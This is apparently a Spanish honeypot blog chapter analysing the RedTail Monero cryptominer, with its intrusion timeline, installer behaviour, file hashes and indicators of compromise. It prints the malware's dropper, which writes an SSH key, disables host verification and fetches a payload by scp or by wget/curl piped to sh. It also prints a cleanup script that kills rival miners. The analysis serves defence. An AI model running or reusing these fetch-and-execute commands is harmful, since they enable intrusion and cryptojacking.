RedTail · Capítulo 5
El intruso que trajo su propia llave
El bicho anterior entraba a patadas con wget. Este entró con una llave SSH en el bolsillo, limpió la casa de mineros rivales y se instaló con modales de profesional. Es RedTail, y juega en otra liga.
Tercera familia en el cebo, y la primera que no es un bot de DDoS: esto es un minero de Monero. Su objetivo no es tumbar a nadie, es robar CPU y minar cripto en silencio. Y se le nota el oficio desde el primer segundo — donde el XorDDoS y el Mirai tiraban de wget y credenciales por defecto, este entró por contraseña, como todos — pero trajo el binario con su propia llave.
Este capítulo es la caza: cómo entró, cómo se trajo el binario y cómo limpió la casa antes de instalarse. El destripe del minero va en el Capítulo 6.
01La captura
Un bot, veloz y metódico. Entró por SSH y en menos de dos segundos había reconocido la máquina, escrito una llave, traído el binario y borrado sus huellas.
- 00:00.0Entra por SSH (root, credencial de diccionario). Lanza id y cat /etc/passwd — mira qué es y a quién tiene delante.
- 00:00.4Suelta una baliza: echo -e "\x61\x75\x74\x68\x5F\x6F\x6B" → en claro, "auth_ok". Le dice a su orquestador "estoy dentro".
- 00:00.6enable · system · shell · sh · bash — la secuencia para escapar de shells restringidos de routers y grabadores.
- 00:01.5Escribe una llave SSH y un sshcfg, y con ellos hace scp del binario desde su servidor. Ejecuta, y remata con otra baliza: "redtail_bot_telnet_ok".
02La entrega: con llave propia
Aquí está el sello de clase. En vez de un wget a la vista, RedTail escribe una clave privada SSH que lleva embebida, monta una config que desactiva toda verificación, y se trae el instalador por SCP:
# 1) escribe su clave privada (ed25519) en key.ppk
echo '-----BEGIN OPENSSH PRIVATE KEY-----
...# (clave ed25519, comentario dlr@sftp)
-----END OPENSSH PRIVATE KEY-----' > key.ppk
# 2) config ssh que ignora la verificación de host
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
# 3) trae el instalador 'sh' por SCP como el usuario dlr
scp -F sshcfg -i key.ppk dlr@217.60.195[.]113:sh out_sh
if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet
else # plan B: por HTTPS
(wget --no-check-certificate -qO- hxxps://217.60.195[.]113/sh ||
curl -sk hxxps://217.60.195[.]113/sh) | sh -s telnet
fi
rm -rf sshcfg key.ppk out_sh # limpia las huellas¿Por qué tanta ceremonia para bajar un fichero? Sigilo. Una conexión SCP saliente parece tráfico SSH legítimo — administración normal — mientras que un wget http://…/bicho canta en cualquier registro o IDS. La llave viaja dentro del propio malware, así que todas las máquinas infectadas comparten la misma; da acceso de solo-descarga a su servidor de reparto (usuario dlr, de downloader). Y como se ve, si el SCP falla tiene el wget/curl por HTTPS de reserva.
03El instalador, con cabeza
El script sh (2,3 KB) que se trae es bastante más listo que los droppers de las otras familias:
- Evita los noexec. En vez de probar carpetas a ciegas, lista los montajes marcados noexec (con findmnt) y los excluye de la búsqueda. Luego busca un directorio donde pueda escribir y ejecutar.
- Comprueba que caben 2 MB. Antes de elegir sitio, intenta escribir un fichero de 2 MB — porque el minero es grande y no quiere quedarse a medias.
- Cinco arquitecturas exactas. Mapea uname a x86_64 · i686 · aarch64 · arm7 · riscv — sí, RISC-V incluido. Nada de la escopeta de 12 del Mirai: aquí se elige el binario justo.
- Nombre oculto. Renombra el binario a .<aleatorio> (con punto, oculto) y lo lanza con el vector telnet.
Y una cosa más, que es de las que me gustan porque no es una capacidad: es un descuido. Para bautizar el binario, el instalador tira de varios generadores de aleatorio, uno detrás de otro por si alguno no existe en la máquina. Si todos fallan, tiene una última línea de reserva — y lo que devuelve es esto:
echo "redtail"El nombre de la familia, escrito por su propio autor, en el sitio donde nadie mira. Y no es el único: la ruta de compilación embebida en el minero es /var/build/redtail/, y el directorio de trabajo del operador, /root/redtail/. Tres sitios distintos donde dejó el nombre. A este bicho no hubo que ponerle etiqueta: viene con ella puesta de fábrica.
Pero antes de instalarse, hace una cosa que merece sección propia.
04Limpieza quirúrgica de la competencia
El instalador descarga y ejecuta un script clean — y no es un borrado a lo bruto, es un desalojo con bisturí. Quiere la máquina entera para él:
# mata mineros rivales conocidos por su nombre de servicio
systemctl disable c3pool_miner; systemctl stop c3pool_miner
systemctl disable bot.service; systemctl stop bot.service
# de CADA crontab, borra solo las líneas de OTROS bichos...
clean_file() {
chattr -ia "$1"
grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" > /tmp/x
mv -f /tmp/x "$1" # ...dejando intactas las legítimas
}
# vacía /tmp, /var/tmp, /dev/shm (payloads de la competencia)Fíjate en el grep -vE: no borra el crontab entero, filtra solo las líneas sospechosas (las que tienen wget, /dev/tcp, base64 -d… los patrones típicos de la persistencia de otro malware) y respeta lo legítimo. Mata por nombre a c3pool_miner (un minero conocido) y a un genérico bot.service. Es competencia entre delincuentes: el que llega, echa al anterior — pero con cuidado de no romper la máquina que quiere exprimir.
05El espécimen
Todo capturado por HTTPS.
RedTail · minero Monero
| Pieza | SHA-256 |
|---|---|
| clean | 3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892 |
| miner x86_64 | f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 |
| miner aarch64 | d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e |
| miner riscv | 3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39 |
He escrito arriba que este juega en otra liga, y esa es la clase de frase que hay que respaldar o callarse. Puestas en fila, sus decisiones:
- No reparte por HTTP. El puerto 80 devuelve un 403; solo el 443 sirve. Y lo hace con un certificado autofirmado de relleno, de los que trae la plantilla por defecto — O=Internet Widgits Pty Ltd. No quiere parecer legítimo: quiere que el tráfico vaya cifrado.
- El centro de mando se esconde detrás de Cloudflare, en un subdominio hexadecimal de efabaz.xyz. Quien mire la IP ve Cloudflare, no a él.
- El dominio es de estreno. Se registró en Namecheap el 14 de julio, dieciséis días antes de que las primeras muestras aparecieran en los repositorios públicos. Infraestructura recién comprada para esta campaña.
- Y el resto ya lo hemos visto: entrega por SCP con llave propia, instalador que esquiva los noexec, binarios empaquetados con UPX y una configuración cifrada dentro.
Ninguna de esas piezas es brillante por separado. Juntas dibujan a alguien que ha pensado en quién va a mirar — y eso es exactamente lo que los tres bichos anteriores no hicieron.
06Indicadores (IOCs)
| Tipo | Valor |
|---|---|
| IP atacante | 103.46.186.105 |
| Servidor de reparto | 217.60.195.113 (usuario dlr · SCP + HTTPS) |
| Clave embebida | ed25519 · comentario dlr@sftp |
| Balizas | auth_ok · redtail_bot_telnet_ok |
| Rivales que mata | c3pool_miner · bot.service |
| Vector | telnet |
| Dominio del C2 | efabaz.xyz (subdominio hexadecimal, tras Cloudflare) · registrado en Namecheap el 14-jul-2026 |
| Certificado del reparto | autofirmado · O=Internet Widgits Pty Ltd (plantilla por defecto) |
| Firmas de familia | echo "redtail" (reserva del instalador) · /var/build/redtail/ · /root/redtail/ |
Continuará — el minero está empaquetado y esconde su cartera. En el Capítulo 6 lo desempaqueto y lo abro con Ghidra, hasta donde su autor nos deja llegar. 🍯
Comentarios